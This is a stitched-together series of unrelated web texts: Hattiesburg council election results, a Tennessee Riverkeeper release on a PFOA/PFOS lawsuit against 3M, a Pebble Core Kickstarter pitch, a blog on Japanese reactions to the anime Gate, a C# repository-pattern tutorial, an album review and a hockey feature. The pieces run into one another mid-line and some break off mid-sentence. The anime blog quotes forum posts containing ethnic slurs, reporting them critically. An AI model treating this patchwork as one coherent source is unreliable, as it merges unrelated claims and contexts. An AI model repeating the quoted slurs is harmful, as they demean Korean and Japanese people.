George will take over for outgoing councilman Kim Bradley, who announced in August he would not run for re-election this year.
"Most importantly, I'm extremely excited for the future of our city," George said. "I'm excited about the opportunity to really deal with people in Ward 1 and to start fighting for what's best for them."
Ward 2
Ward 2 Councilwoman Deborah Delgado ran unopposed Tuesday, as she was re-elected at the May 2 primary after defeating three other Democratic challengers. She received 1,502 votes.
In an earlier story, Delgado said one of her first priorities in her fifth term on council will be to help council members get a handle on the city's budget.
"(That's) so we can set appropriate priorities for the citizens of Hattiesburg," she said. "I don't think we've done a good job of that, and we've got to get our values back in order and combine them with the best interests of the citizens of Hattiesburg.
"We need to make sure that we have appropriate funds to invest in this great infrastructure burden that we have on us."
Ward 3
Current City Council President will return for another term, as he defeated independent challenger Kathy Garner 1,674 votes to 1,208.
Carroll, a Republican, said it was an honor to be re-elected to the council.
"Obviously we need to work on the infrastructure, our roads, our water and sewer, and building up our financial situation and making that as secure as possible," he said.
Ward 4
Current Council Vice President Mary Dryden will start her second term July 1, as she defeated Democratic challenger James C. Smith 1,573-848.
Dryden, who ran as an independent, said her constituents can expect the same hard work and dedication she's provided the last four years.
"This is the place that I live and love," she said. "I'll do everything I can to work with every person I encounter. Relationships are of the utmost importance to me, and over the last four years the biggest gift I've had is the people I've gotten to know."
Ward 5
Ward 5 will see a new councilman in Nicholas R. Brown, who defeated incumbent Henry Naylor 1,118 votes to 791.
Brown, a Democrat, said he looks forward to working with the residents in Ward 5, especially those in the Palmer's Crossing community.
"I'm excited, and I give all credit to God and all those who helped me out along the way, especially my supporters and those who voted," he said. "I'll be excited when I see things happen, when some things start to move around Hattiesburg.
"I dedicate this to my grandmother... because the house that I live in, it's her house. I've been here 12 years, and I wouldn't be in this position if it wasn't for her."
By the numbers
Hattiesburg general election vote totals
Mayor
Johnny DuPree: 4,198
Toby Barker: 6,214
Shawn O'Hara: 46
Ward 1
Jeffrey George: 821
Ken Chambers: 368
Ward 2
Deborah Delgado: 1,502
Ward 3
Carter Carroll: 1,674
Kathy Garner: 1,208
Ward 4
Mary Dryden: 1,573
James C. Smith: 848
Ward 5
Henry Naylor: 791
Nicholas R. Brown: 1,118
Read or Share this story: http://hatne.ws/2sC8XDpBy Tennessee Riverkeeper
With a major American river poisoned by toxic chemicals dumped into it by one of the nation's largest corporations, Tennessee Riverkeeper has filed a federal lawsuit against 3M Company and other defendants under the U.S. Resource Conservation and Recovery Act (RCRA).
Aerial view of Decatur, Alabama and the Tennessee River. Photo credit: Google Earth
The suit alleges the defendants' contamination of the Tennessee River in and near Decatur, Alabama with perfluorooctanoic acid (PFOA), perfluorooctane sulfonate (PFOS) and related chemicals has created an “imminent and substantial endangerment to health and the environment."
The toxins—components or byproducts of 3M's manufacture of its profitable lines of “non-stick" products like Scotchgard and Stainmaster—have polluted the Tennessee River's Wheeler Reservoir, a popular recreation destination and home to various important wildlife species and ecosystems. The Tennessee Riverkeeper's RCRA suit seeks to compel the immediate and thorough clean-up of the contaminants.
As even minimal exposure to PFOS and PFOA is linked to a variety of lethal health hazards, there exist virtually no safe levels of the chemicals in the environment. Research strongly indicates PFOA and PFOS are potent carcinogens and they have also been tied to birth defects and adverse effects on childhood development, significantly decreased immune system function, liver tissue damage and a host of other serious health problems. Consequently, in a May 2016, the U.S. Environmental Protection Agency (EPA) announced Drinking Water Health Advisories for PFOA and PFOS of only 0.07 parts per billion.
However, PFOA and PFOS levels in the Tennessee River near the 3M site are, respectively, more than 70,000 and 50,000 times higher than the EPA's safety advisory.
“We don't mind 3M making profitable products—but, we cannot tolerate the defendants putting profit ahead of the health of people, the environment and the river," David Whiteside, Tennessee Riverkeeper's founder and executive director, said.
“Tennessee Riverkeeper members are both this river's users and guardians. After nearly five decades of 3M's pollution of the Tennessee River, where no one has held the defendants accountable, we felt we needed to act to protect this precious resource and all the wildlife and restore justice to the hundreds of thousands of people who rely upon her waters everyday."
Notably, the Tennessee Riverkeeper's lawsuit is wholly separate from a suit recently filed by local residents. Last fall, residents and a local water authority initiated a class action lawsuit against 3M and its subsidiaries, claiming the residents have ingested dangerous levels of PFOA and PFOS and seeking monetary damages as a result.
Tennessee Riverkeeper's RCRA suit does not seek money, but instead demands the broadbased clean-up of the aforesaid contaminants.
“The rights to clean air and water and to a safe secure environment are fundamental civil rights and as with all pollution, the injuries from 3M's pollution land hardest on the backs of Alabama's poor and minority communities," Robert F. Kennedy, Jr., president of Waterkeeper Alliance, said.
3M has produced PFOS at its Decatur plant since the early 1960s and PFOA at the site since 1999. On-site disposal practices have resulted in groundwater contamination and the contamination of the Wheeler Reservoir of the Tennessee River. 3M has also transported waste off-site to nearby landfills. The largest volume has been delivered to the City of Decatur-Morgan County Sanitary Landfill, owned by co-defendant City of Decatur.
Waste was also transported to landfills owned and/or operated by other defendants, like the A.J. Morris Landfill (Morris Farms Landfill), in Hillsboro, Alabama, owned by BFI Waste Systems of Alabama, LLC. Finally, waste was also received by the now closed Bert Jeffries Landfill (also called the Browns Ferry Road Site), which is now owned by 3M.
These landfills all have high levels of groundwater contamination from PFOA, PFOS and related chemicals. The chemicals are also found at high levels in the liquid waste, called leachate, collected from Morris Farms and the Decatur-Morgan County landfills. The collected leachate from both landfills is sent to the Dry Creek Waste Water Treatment Plant (WWTP), owned by Decatur Utilities. The plant has inadequate treatment capabilities for these chemicals and, therefore, discharges harmful amounts into the Tennessee River.
Tennessee Riverkeeper's RCRA lawsuit seeks to compel the immediate, thorough and verifiable clean-up of all of these areas. Riverkeeper demands that 3M dramatically increase its efforts to remediate up its on-site groundwater contamination, that groundwater at the landfill sites be mitigated, that leachate from the two landfills that collect leachate be treated before discharge to the Dry Creek WWTP and that the WWTP treat its discharge to remove these chemicals before discharge to the Tennessee River. Riverkeeper further asks that 3M be held responsible for the required remediation at the off-site facilities.
“3M profited for decades off of the products it produced that polluted the Tennessee River and now it needs to live up to its moral responsibility—and its legal obligation—to do and spend what it is necessary to expeditiously eliminate the threats to human health and the environment that these contaminants cause," Matsikoudis & Fanciullo, a New Jersey law firm that is representing the Tennessee Riverkeeper, said. Mark Martin, Tennessee Riverkeeper's chief prosecuting attorney, also represents the nonprofit.
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In this supernatural eco-thriller, five teens at an isolated school in northern Thailand are haunted by their pasts -- and a much more sinister force.
Crime Diaries: The Candidate
Dramatization of Mexican presidential candidate Luis Donaldo Colosio's 1994 assassination. Part of an anthology on unsolved crimes in Latin America.Ultra-compact, ultra-lightweight, and ultra-affordable. Core frees you from armbands, hip pouches, and other hassles of exercising with your phone, while keeping you connected and in control.
Core streams music from Spotify™, syncs GPS data with Runkeeper™, Strava™ and Under Armour Record™, and now supports Amazon Alexa™.
Leave the phone at home and run phone-free with Pebble Core. The first 3G *, truly connected ultra-wearable, starting at $69. Learn more
It’s a Pebble, of course you can hack it! In its essence, Core is a tiny, hackable Android™ computer that fits on your keychain to become your magic button for anything.
Call an Uber * with a click. Track your pet from across the world. Stream data from your car’s ODB port. Pilot a drone from the web. Or, … you get the picture.
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Core streams music directly from Spotify, so you stay motivated and on pace. You can also use Core’s 4GB of built-in storage to access your favorite playlists, podcasts, and audiobooks.
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We all love our phones. But when you’re out for a run, strapping a big phone to your arm isn’t much fun. We built Core for a better running experience, to give you the benefits of your phone with none of the inconvenience.
Today we’re back! We can’t wait to tell you what’s in store. We wholeheartedly invite you to join us in making Kickstarter and wearable history again.
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Stripped down to its essence, Core is a tiny, unlocked Android 5.0 computer.
Core connects seamlessly with your Pebble watch, so you can control your music or check your time, pace, or distance at a glance.
Drop it on a wireless charging pad * and grab it on your way out the door knowing it'll always be charged. Pebble Core comes with a USB charging cable included, and you can add on an optional wireless charging pad for just $20.
Core may be tiny, but it will still give you up to 9 hours of location tracking and offline music on a single charge *
Core supports both Bluetooth and wired headphones. How you’d like to plug in is your choice.
Wired or not here we come
Core also works without a SIM card or cellular plan, using WiFi to sync offline music and workouts.
Core gives you complete on-the-go freedom with 3G connectivity *. It accepts a micro-SIM card and works with most pay-as-you-go and existing cellular plans.
Core fits into your existing workout routine and syncs with your favorite fitness apps. Core supports Runkeeper, Strava, Under Armour Record, MapMyRun, and Google Fit with more coming.
We hope you won’t need it, but if you’re ever stuck out on the road, Core can send an emergency SMS with your location (required SIM card and cellular data service not included).
Bring the magic of Amazon Alexa on the road, with integrated support for Amazon Alexa. Now you can get everything from workout summaries to traffic updates simply by asking Alexa.
Exercise spurs creativity. Capture your brilliant ideas on the go with Core’s voice note functionality.
Core provides real-time stats via audio cues while exercising and syncs with Runkeeper, Strava, and other fitness apps over WiFi when you get back.
You can transform Core into a magic button for any use case you dream up. It comes consumer-ready with GPS tracking, WiFi, Bluetooth, and 3G connectivity, a voice interface, and more.
Check out the specs above and stay tuned for special updates for our developer community!
Core can take your Pebble watch to the next level. When paired, Core provides a network connection for internet-enabled Pebble apps.
Pebble Core features integrated support for Amazon Alexa. Core works with Amazon Alexa skills, so you can extend your Core voice support to meet your needs.
Add a Bluetooth or wired headset to create an always-on walkie-talkie or personal voice assistant.
Core comes packaged with WiFi, Bluetooth, and 3G connectivity. Connect sensors or Bluetooth devices and program Core to act as a relay to the Internet.
GPS location-tracking is built right in. Attach Core to your valuables and use it to find your lost keys, dog, or suitcase!
Core’s two buttons can be configured to do whatever you like. Order an Uber, open your garage door, or turn on the lights with a click of a button.
Pebble 2 and Time 2: awesome smartwatch + amazing activity tracker
Fit, Connected, and In Command
Pebble helps you stay on top of your busy schedule, call a ride at the press of a button, and track your progress towards a healthy lifestyle. It's a smartwatch and fitness tracker in one–all at an amazing price that doesn’t break the bank.
Colors and Finishes Why buy a Pebble? Notifications, activity tracking, and actions Pebble keeps you connected, healthy, and in control. Pebble invented the smartwatch, so we know a thing or two about what makes them useful. Here are a few things we excel at: Notifications: Keep connected without the distractions The average adult checks their phone over 150 times a day. That’s once every 6 minutes! With all that activity, it’s easy to get distracted from what you’re trying to accomplish. Pebble helps you filter the noise by putting the important messages right on your wrist, letting you decide at a glance where and when you want to address them. Timeline: Immediate access to the information you need Where is your next appointment? What is today's weather? When is the next train home? Pebble's timeline gives you immediate access to critical information, right on your wrist. It keeps you up to date and saves you oodles of time you would have spent rooting around in apps on your phone. Activity Tracking: Stay healthy and active one step at a time Keeping fit may seem like a chore, but you can stay active and healthy by simply getting out for a walk. All it takes is a quick reminder to get up and move. Pebble features built-in activity tracking to keep you on top of your activity and fitness goals. Our Pebble Health software tailors these goals to you, accommodating changes in your daily schedule, to keep you motivated and encouraged. Learn More about Pebble Health tools below One-Click Actions: Immediate action on the things you do most Pebble puts you in command with the introduction of One-Click Actions: simple, customizable tasks that live on your watch and let you take immediate action with a single button press. Send a text message to Mom. Hail an Uber as you head to your next meeting. Order that favorite Tuesday night takeout dish. Whatever it is, One-Click Actions make it quick and convenient to do the things you do most*. Pebble: A better smartwatch At Pebble, we believe that a smartwatch needs to start as a great watch. The time should be visible at a glance. Battery life shouldn’t be a daily worry. The display should be readable in sunlight. And it should enjoy a dip in the pool*. What you should expect when you buy a Pebble watch*: Pebble Time Round: The smartwatch comes full circle with Pebble Time Round. Combine all the easy-to-use, time-saving features you love about Pebble in a design that’s lighter, thinner, and more stylish than any other smartwatch. At its heart, it’s a classic timepiece for the modern era. Enjoy premium materials and technology like an always-on display, up to two days of battery, Pebble Health, a mic for voice features, and thousands of apps and faces to tailor Pebble Time Round to your personal style. It’s the smartwatch...incognito. What you should expect when you buy a Pebble Time Round*: Pebble: A better fitness tracker It’s hard to find an affordable, long-lasting, heart rate-enabled fitness tracker that you can take in the pool–until now. It’s hard to find an affordable, long-lasting, heart rate-enabled fitness tracker that you can take in the pool–until now.
In addition to tracking, Pebble Health provides a suite of tools that encourage incremental progress towards healthier living and keep you motivated every step of the way.
NEW Adaptive goals and scheduling
Our new Adaptive Goals tailor activity goals to fit you, keeping these goals within reach, but still challenging. Adaptive Goals ensures you won't get demotivated (and you won’t get bored!) as you make incremental progress.
Pebble Health also integrates with your calendar so you’ll never again find yourself “too busy” to get to the gym. Even with last-minute changes or unpredictable variations in your schedule, Pebble Health will find those free hours and help you take full advantage of them.
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Always know how you’re doing--right on your wrist. A simple click delivers your basic health stats: steps, calories burned, active time, distance, resting heart rate, and even how much deep sleep you got last night. Mobile graphs Geek out with our beautiful, in-depth mobile charts. Daily, weekly, and monthly breakdowns show your average wake-up times, calories burned on long walks, changes in heart rate zones, and more. Automatic activity classification Pebble Health detects long walks and runs and sends you quick summaries immediately afterwards. This way, you get better visibility into how these activities help you stay active and boost your energy. Sleep tracking and smart alarms Pebble Health tracks when you fall asleep, wake up, and how much deep sleep you’re getting (that’s the really good stuff). Smart Alarms determine your optimal wake-up time based on your sleep cycle, so you’re less groggy and more energized to tackle the day. Always open Pebble Health syncs with Apple HealthKit and Google Fit, with plans to add more integrations over the next year. Reward Tiers Early Bird Specials (Limited available) $69 - One Pebble Core in any of the two colors $99 - One Pebble 2 in any of the five colors $169 - One Time 2 in any of the three finishes Kickstarter Prices $79 - One Pebble Core ($99 retail) in any of the two colors $109 - One Pebble 2 ($129 retail) in any of the five colors $179 - One Pebble Time 2 ($199 retail) in any of the three finishes $199 - One Pebble Time Round in any of the two finishes Combo Packages $149 - Two Pebble Cores in your choice of colors ($198 value)
$169 - One Pebble 2 + One Pebble Core in your choice of colors ($228 value) $169 - One Pebble 2 + One Pebble Core in your choice of colors ($228 value)
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Wireless charging pad: Wireless charging pad is not included with |
, the net-uyo are the loudest voices in the room, but they are extremely unpopular outside their echo chambers. Their voices are amplified because many popular blogs copy-and-paste the most controversial 2ch threads in order to get that juicy clickbait money. Outrage culture is very much a thing on the Japanese web as well.
As a result, it is very difficult for an outsider like me to provide a fair and balanced representation of online opinion. I can’t ignore the net-uyo, but I want to stress that this is not how the majority thinks. At the same time, it’s hard to determine exactly what the majority thinks, because not all sites espousing different views have an equal amount of traction. For the sake of thoroughness, I’ll start with what the net-uyo have to say, and then spend the rest of the post on alternate opinions.
For the net-uyo, the Gate anime provides yet another excuse to hate Koreans
The Japanese web is littered with “foreign reaction” blogs, which seem to be curated by web owners who cherry-pick the most ignorant and inflammatory things to translate. Naturally, the people who comment on these blogs latch onto every opportunity to espouse the usual “us versus them” rhetoric.
Kankokunohannou.org has a thread dedicated to Korean reactions to the Gate anime. [2] Here are some of the Korean reactions:
When Code Geass was airing to popular acclaim, I remember getting annoyed when people around me said it was good lol.
(Hating on Code Geass? Unforgivable.)
The glorification of the military in Japanese anime is terrible.
Since military anime is popular overseas, those cunning Japs can brainwash foreigners into thinking that this heinous military loved its citizens, protects women and never created comfort women brothels. The number of Wapanese (people who are otaku about Japan) will increase and feel compelled to visit Japan. The wokou reap all the benefits.
Wokou refers to the pirates that used to raid the Chinese, Korean and Japanese coastlines.
Naturally, the Japanese commenters were not impressed by the insinuations.
Just what you’d expect from a country that learns all its history from TV dramas and films lol.
These idiots can’t tell the difference between fiction and non-fiction. Such a Korean thing to say.
.
They’re jealous that we’re more popular with foreigners. A case of hwabyeong.
They’re so off-base it’s kimchi-warui.
Hwabyeong is known within Korea as a mental condition that is roughly comparable to depression. Outside of Korea, it is stereotyped as merely having a short temper. Also, kimchi-warui is a play on words with kimochi warui, which means ‘disgusting’ in Japanese.
Very few comments talk about the anime itself. The Gate anime is simply another front upon which both sides wage their cultural war. [3]
“Is the JSDF anime Gate right-wing? They smite their enemies with weapons and get the good-looking girls”
This is the title of a widely-read article that was first published a few weeks after the anime’s first season started airing. It was reposted on multiple sites and is among the first articles to appear if you search for anything related to Gate’s politics on Google.
The article takes the form of a conversation between the writer/editor Ichishi Iida and the sci-fi literary critic Naoya Fujita. While praising the story and characters of Gate, they also discuss some of its political context.
Fujita: The anime adaptation was probably planned because of the current debates around the right to collective self-defense.
Iida: No, plans for the anime adaptation were probably underway three or four years ago, and while the Abe administration was talking about Abenomics back then, they were barely saying anything about reforming the right to collective self-defense in the Constitution, so I think it was a coincidence. The airing schedule wasn’t decided right until the very last moment.
On a fundamental level, I don’t think Gate has a net uyo-ish message. Even in the web novel, the protagonist Itami, a JSDF official, was non-political. He declared that he had never been to Yasukuni Shrine.
Fujita: By the way, the first Abe cabinet (2006) revised the bill to establish Japan’s Defense Agency, paving way for a people’s vote to revise the Constitution. [4]
Iida: During Abe’s first cabinet, the novel hadn’t even been published in tankobon format yet.
Fujita: The web novel is a product of its time, and at the time of the first Abe administration, it was evident that Abe was trying to push reforms in the Constitution that were related to the JSDF. There are parts in the web novel that definitely resonate with the time it was made. In 2007, the Abe cabinet was declaring reform on the Constitution.
Iida: I suspect the anime staff would not be pleased if people thought they were connected to the Abe administration. But then again, they probably want to avoid criticism just for including the JSDF. No matter how you handle the subject, you’d be criticised by both the left and the right.
Fujita: My judgement is that the creators must have known that depicting the JSDF at this time would have created a certain impression for those watching it, so they must have been been prepared.
Iida: The other day, I had the chance to interview Takumi Yanai, the original author, and since the anime staff was nearby at the time, I asked, “Doing the series at this time will definitely be taken a certain way, right?” and he said, “No it’s just simple entertainment; I never thought about it at all.” It was just something he said while we were chatting, though. That the series doesn’t have a political motive.
Fujita: What a load of bullshit lol. You can’t say it has no political element or that you can ignore it all just because it’s “simple entertainment.”
The two of them go on to discuss other things after that, but naturally this was the part of the article that attracted the most discussion on blogs and forums. The commenters on the highly popular otaku blog Yaraon had a few things to say:
Is this bothersome topic the only thing people think about when it comes to this series?
.
“The right to collective self-defense is politically loaded these days,” he says.
So far, Gate has had nothing to do with the right to collective self-defense.
.
It’s a busayo. Say cheese!
Busayo is a derogatory word for a left-winger. It comes from combining the word busaiku (clumsy) with sayoku (left-wing). Think of it as a Japanese version of “SJW”…
This Fujita guy is entrenched in his viewpoint.
He said that there has to be a political motive for Gate air at this time.
He completely ignored the other guy when he pointed out that the series was being planned two or three years ago and therefore has nothing to do with it.
Even when the author said that he had no political motive, Fujita just laughs it off calling it bullshit and goes on espousing his opinions. He’s retarded.
While most of the responses bashed Fujita, some of them thought he at least had a point.
It’s nice to see the JSDF doing something, but when I see all this “Japan’s technology is so sugoi! Our food is so oishii! Japanese people are so yasashii! Our web novels are so sugoi!” it’s kind of embarrassing lol.
.
Hmm…
It’s true that the JSDF occupied the hill, set up bases and drove off the enemy attacking them, but the phrase “trampling over a technologically inferior country” is one-sided and makes only Japan sound bad.
Some self-identified otaku actively criticise Gate for the cultural imperialism in its subtext
At around the same time, the blogger namotama wrote a post called Otaku Culture and War – Gate: Thus the JSDF Fought There and Cultural Imperialism. The blogger sums up the discourse around the subject as follows:
While Gate has been caught in a maelstrom for its extreme political focus, it was predicted long before the anime started airing that it would cause a lot of partisan bickering. And, just as predicted, people are starting to post “outrageous” statements and criticisms online (mostly from leftists), as well poking fun of them on Matome sites and blogs. But honestly, they only really care about Matome sites and blogs; they couldn’t care less about forming an actual “citizen’s group” or exerting real-life political influence. You never hear them taking up a position in the Diet somewhere, or about some protest happening, or anything like that. They just stick to posting an individual person’s off-the-cuff statements; basically, the partisan debate surrounding Gate is close to the echo chamber of today’s otaku world.
Matome (“summary” in Japanese) sites collect 2ch threads and tweets and archive them on the web.
Despite their cynicism about the discourse surrounding the Gate anime, the blogger goes on to say:
Even so, despite (no, because) I’m an otaku, I’ve decided to tread this ground: how can we interrogate otaku culture and war? This will be long, so I’ll begin more-or-less with the conclusion: I think that this series is built around “cultural imperialism” and aggression.
The rest of the blogger’s argument sounds quite similar to what various English-language bloggers have written (e.g. Passersby on Random Curiosity).
Another blogger, going by the name of Gaius_Petronius, professes to be a big fan of Gate, but also talks about some of his unease with the subtext:
As much as I love this type of story on a subjective level and experience a great catharsis through watching it, when I look at it from your typical cool-headed and critical perspective, how can I ignore what goes on?!?! It’s based in this Nippon Banzai! attitude, other countries’ perspectives are explained in a distorted manner, everything is explained in a way that is convenient for Japan, and the other land’s perspective is full of holes. It always weighs on me.
He goes on to ramble about Pocahontas and a bunch of other things, but basically he argues that Gate explores imperialistic impulses of the likes you see in Chinese and American media but which is rarely ever present in Japanese media because the subject is so taboo. For that reason, he found it cathartic.
Reactions to the latest controversy (SPOILERS for episode 21)
I’ll finish off this post by noting that the depiction of UNETHICAL JOURNALISTS in episode 21 caught attention from bloggers and commentators.
//platform.twitter.com/widgets.js
Translation: The journalist who appeared in today’s episode of Gate said the exact same thing as a certain chairman of a news program…
He said that there’s no such thing as an impartial journalist… and here I thought that a just media would endeavour to objectively and fairly report on matters without too much bias…
Numerous commentators pointed out that Gate was basing its depiction off the Asahi Shinbun in particular. The newspaper is well known for its left-wing and pro-pacifist editorial stance. Asahi journalists have a negative reputation for putting their own spin on their reporting.
On Yaraon, the commenters couldn’t take the caricature seriously. Some of them seem to jokingly agree that the media is full of asshole journalists, but I can’t tell whether they seriously hold that opinion. One commenter quipped, rather hilariously, “This was definitely true about the SMAP breakup incident.”
That said, the commenters on this article definitely appear to agree that the mass media cannot be trusted. A common joke is to refer to the masukomi (mass media) as masugomi (mass garbage). It is not surprising that social media users would take issue with the mass media.
Others took issue with the anime’s one-sided portrayal. A blogger named Takumura said that the caricaturising was dumb and that the series is poorly-written overall. They also added: “I get it. A left-winger can’t read into this deeply. The light novel is impossible to get into if you don’t share the author’s ideological framework. Even though it’s an easy read on the surface because of the idiotic setting, putting the story into perspective poses problems.”
Nevertheless, it seems that most of the people who were upset with Gate’s politics have dropped the series by now, because most of the reactions on Twitter and forums have been positive. Episode 22 is airing tonight and everyone on Twitter is excited about it.
Personally speaking, I think that the Gate anime makes for rather dull viewing and that the political elements in it are so ridiculous that I can’t take them seriously. But it’s not up to me to decide what people can and can’t take issue with. In any case, I’ve found that other people’s reactions to the show have been much more engaging than the show itself.
What do you think of it?
Footnotes
[1] John Oliver had a hilarious segment about this on Last Week Tonight.
[2] Technically, it’s about Korean reactions to Western reactions to the Gate anime. Yes, this post is written by a Westerner discussing Japanese reactions to Korean reactions to Western reactions. It comes full circle!
[3] For further reading on this subject, check out Rumi Sakamoto’s analysis of net-uyo and nationalism on the Asia-Pacific Journal.
[4] In 2006, the National Diet passed a law to change the status of the Defense Agency to a Cabinet-level Defense Ministry, referred to as the Ministry of Defense. This change now allows defense officials to have greater influence over national policy-making and budget decisions.
AdvertisementsUPDATE (Nov 5 2018): While you’re here to become a better C# developer, I strongly recommend you to watch my Python tutorial on YouTube. Python is super-hot these days. It’s the number one language employers are looking for and gives you 4x more job opportunities than C#.
As part of my new ASP.NET Core course, I’ve been encouraging my students to post their code to GitHub. While reviewing various solutions, I’ve encountered a few common mistakes in the implementation of the repository pattern.
One repository per domain
You should think of a repository as a collection of domain objects in memory. If you’re building an application called Vega, you shouldn’t have a repository like the following:
public class VegaRepository { }
Instead, you should have a separate repository per domain class, like OrderRepository, ShippingRepository and ProductRepository.
Repositories that return view models/DTOs
Once again, a repository is like a collection of domain objects. So it should not return view models/DTOs or anything that is not a domain object. I’ve seen many students using AutoMapper inside their repository methods:
public IEnumerable<OrderViewModel> GetOrders() { var orders = context.Orders.ToList(); return mapper.Map<List<Order>, List<OrderViewModel>(orders); }
Mapping is not the responsibility of the repository. It’s the responsibility of your controllers. Your repositories should return domain objects and the client of the repository can decide if it needs to do the mapping. By mapping the domain objects to view models (or something else) inside a repository, you prevent the client of your repositories from getting access to the underlying domain object. What if you return OrderViewModel but somewhere else you need OrderDetailsViewModel or OrderSnapshotViewModel? So, the client of the repository should decide what it wants to map the Order object to.
Save/Update method in repositories
Yet another very common mistake! As I’ve explained in my YouTube video before, your repositories should not have a Save() or Update() method. I repeat: think of a repository as a collection of domain objects in memory. Do collections have a Save() or Update() method? No! Here’s an example:
var list = new List<int>(); list.Add(1); list.Remove(1); list.Find(1); list.Save(); // doesn't exist! list.Update(); // doesn't exist!
Another reason your repositories should not have a Save() method is because sometimes as part of a transaction you may work with multiple repositories. And then you want to persist the changes across multiple repositories in one transaction. Here’s an example:
orderRepository.Add(order); orderRepository.Save(); shippingRepository.Add(shipping); shippingRepository.Save();
Can you see the problem in this code? For each change, we need a separate call to the Save() method on the corresponding repository. What if one of these calls to the Save() method fails? You’ll end up with a database in an inconsistent state. Yes, we can wrap that whole thing inside a transaction to make it even more ugly!
A pattern that goes hand in hand with the repository pattern is the unit of work. With the unit of work, we can re-write that ugly code like this:
orderRepository.Add(order); shippingRepository.Add(shipping); unitOfWork.Complete();
Now, either both objects are saved together or none are saved. The database will always be in a consistent state. No need to wrap this block inside a transaction. No need for two separate calls to the Save() method!
If you want to learn how to implement the repository and unit of work pattern together, watch my YouTube video here.
Repositories that return IQueryable
One of the reasons we use the repository pattern is to encapsulate fat queries. These queries make it hard to read, understand and test actions in ASP.NET MVC controllers. Also, as your application grows, the chances of you repeating a fat query in multiple places increases. With the repository pattern, we encapsulate these queries inside repository classes. The result is slimmer, cleaner, more maintainable and easier-to-test actions. Consider this example:
var orders = context.Orders.Include(o => o.Details).ThenInclude(d => d.Product).Where(o => o.CustomerId == 1234);
Here we are directly using a DbContext without the repository pattern. When your repository methods return IQueryable, someone else is going to get that IQueryable and compose a query on top of it. Here’s the result:
var orders = repository.GetOrders().Include(o => o.Details).ThenInclude(d => d.Product).Where(o => o.CustomerId == 1234);
Can you see the difference between these two code snippets? The only difference is in the first line. In the first example, we use context.Orders, in the second we use repository.GetOrders(). So, what problem is this repository solving? Nothing!
Your repositories should return domain objects. So, the GetOrders() method should return an IEnumerable. With this, the second example can be re-written as:
var orders = repository.GetOrders(1234);
See the difference?
What are the other issues you’ve seen in the implementation of the repository pattern? Share your thoughts!
If you enjoyed this article, please share it.
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Tags: entity frameworkFirst Listen: Grouplove, 'Spreading Rumours'
Enlarge this image toggle caption Pamela Littky/Courtesy of the artist Pamela Littky/Courtesy of the artist
Order The Album
Many members of the L.A. quintet Grouplove have had their bodies emblazoned with "Grouplove" tattoos, so they're nothing if not committed to the project. That full-bore, all-in approach comes through in their songs, too: Like Grouplove's ingratiating debut (2011's Never Trust a Happy Song), the new Spreading Rumours positively brims over with scrappy, happy, sinewy little earworms.
If there's a watchword for Spreading Rumours, with its dollops of Sunset Strip gregariousness and sweet boy-girl choruses, it's not so much excess as abundance: Forty-five minutes into the record, where most bands would be burying deep cuts, Grouplove is still dispensing impossibly infectious would-be hits like the unshakeable "Raspberry."
At times, the hookiness can border on overbearing; the insistent "Ways to Go" even ventures perilously close to the cloying territory once mined by Barenaked Ladies' "Two Weeks." But on balance, the candy-coated craftsmanship and joy on display throughout Spreading Rumours makes the record ludicrously easy to love — a welcome dose of summertime, just in time for fall.(Joe Camporeale/USA TODAY Sports)
LOS ANGELES – Last season, before the nature of professional sports stuck its nose into family business, Steve Oleksy bought his father a plane ticket for Christmas. The Washington Capitals had scheduled their annual dad’s trip for a back-to-back in Montreal and New Jersey once the calendar turned and Steve, a defenseman ranked among the team’s most unlikely roster occupants given his zig-zagging path to the NHL, hoped Andy could attend his first one.
“
“Rubber Ball,” is what Andy had nicknamed his son, because of how life had bounced Steve around between cities and teams, and here came the latest example, a disappointment at the time, but understandable nontheless: Not long before the father’s trip was to begin, the Capitals reassigned Steve to their American Hockey League affiliate in Hershey. The experience would have to wait.
Now it was Friday afternoon, and Andy was standing inside a Los Angeles rink, watching the Capitals – and his son – skate onto the ice for practice. Only one year later, Washington had summoned Steve back into the NHL, just in time for the father’s trip. The last player cut from training camp, according to Coach Barry Trotz, Steve had an inclination this might happen, after getting asked questions during an earlier recall, but didn’t know for sure until his telephone rang last week.
So Steve bought another ticket. He dialed Andy. Told him to pack his bags. To take time off from work, as a self-employed electrical contractor. It was really happening this time. Andy was to be in Los Angeles by Thursday.
“Wonderful,” Andy said, grinning and shaking his head in disbelief. “What else can you say?”
Saturday, Steve will make his season debut for the Capitals against the Los Angeles Kings, skating on the third defensive pairing with Mike Green, the latest surprise in a career defined by them. Steve had grown up loving both hockey and baseball, and enrolled at Macomb Community College in Michigan to pursue the latter. Eventually, he earned a scholarship to Oakland University (Mich.), but the juxtaposition between the relative speed of the two sports tugged Steve elsewhere.
Andy resisted. He wanted Steve to get a college education, rather than enter the uncertain world of professional hockey, with a massive ladder to climb just to reach anywhere relevant. Andy eventually relented, wanting to avoid a situation where Steve said his father had held him back, but even though they had always been close, when Steve left home to join the Traverse City North Stars, they didn’t talk for almost three weeks.
“I didn’t think there was any future,” Andy said.
It took time, far longer than most. At Traverse City, Steve became the captain by Christmas. He spent three seasons at Lake Superior State University, played for two different ECHL clubs and one independent team in 2009-10, wobbled between minor leagues for another several years before finally latching onto Hershey in 2012-13.
“You questioned it sometimes, but obviously my love for the game and my passion for it kept going,” Steve said. “Early on in the career, you play strictly for the love. Obviously it wasn’t for the money, and definitely not for the atmosphere or anything like that. It’s strictly to keep playing. You work hard and it pays off.”
No more so than here in California, when Andy arrived Thursday, at around 1:30 p.m. He took a long walk on the beach and met up with Steve once the Capitals got into town, a real treat since during the season they only saw each other over Christmas, and watching Steve play for Hershey was tough with the grainy Internet feed.
They ate dinner with the Holtbys, another big moment for Andy, since Steve and goaltender Braden had grown close. They bussed to practice, where Steve took rushes with Green, the first indication that he would debut against the Kings. They both compared the thrill of this father’s trip to when Steve made his NHL debut, back on March 5, 2013.
The Capitals were playing the Boston Bruins at Verizon Center. It had all happened to fast – the call from Steve telling him to get to D.C., the eight-hour drive from Michigan – that Andy grabbed the first batch of clothes he found. He thought nothing much, until later he realized the cameras had panned onto the Oleksys sitting in the stands, and there was Andy, wearing a yellow sweater with black stripes, colors of the Bruins, for his son’s first game. So on this trip, Andy stuck to the red and blue, “so he can’t be wrong,” Steve said.
